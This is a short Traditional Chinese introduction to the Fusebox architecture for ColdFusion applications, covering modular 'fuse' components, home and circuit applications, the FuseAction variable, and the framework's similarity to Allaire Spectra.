Fusebox 將一個應用程式分解成最基本的幾個元件,每個元件都被封裝成為一個獨立的「保險絲(fuse)」。你可以在應用程式裡面視需要插入不同的保險絲元件,並且延伸擴充應用程式的功能。這種物件導向的開發方法充分利用了 ColdFusion 自訂標籤的模組化天性,並且將這項觀念應用到整個應用程式上。
Fusebox 充分利用程式碼的可重用性以及模組性,這兩項都是任何應用程式開發工具所奉承的圭臬。Fusebox 的運作模式不但讓你能夠將同一個保險絲(亦即程式模組)插入到不同的應用程式,它還可以讓你將其他人開發的模組輕易地套用在你自己的應用程式上面。
Fusebox 的運作模式是以一個「主應用程式(Home application)」作為中心,它代表了你的整個應用程式。這項主應用程式則是由許多不同的「周邊迴路應用程式(Circuit applications)」所共同組成的,每一個周邊迴路應用程式都可以從主應用程式這邊呼叫。你可以透過 URL 或者表單來在主應用程式與周邊迴路應用程式之間傳遞一個稱為 FuseAction 的變數,這個變數可用來決定你要執行的動作。各種需要用到的檔案則都以不同的類型來加以區分,因此應用程式中的各個資料庫查詢語句,動作指令以及顯示畫面等等都是彼此相互獨立的。這項獨立性讓你能夠掌握最高的可重用性以及易用性。
使用 Fusebox 不僅對於 ColdFusion 應用程式開發過程有所幫助,它還可以幫助你容易跨入 Allaire 公司 ColdFusion 產品線的下一個產品:Allaire Spectra。Spectra 使用的物件導向架構在許多方面都和 Fusebox 所使用的架構非常類似。這兩項產品之間的主要差異在於 Spectra 內建了許多預先設計好的自訂標籤與函數,可以直接用來處理各式各樣開發工作,例如內容管理,個人化以及電子商務相關功能等等。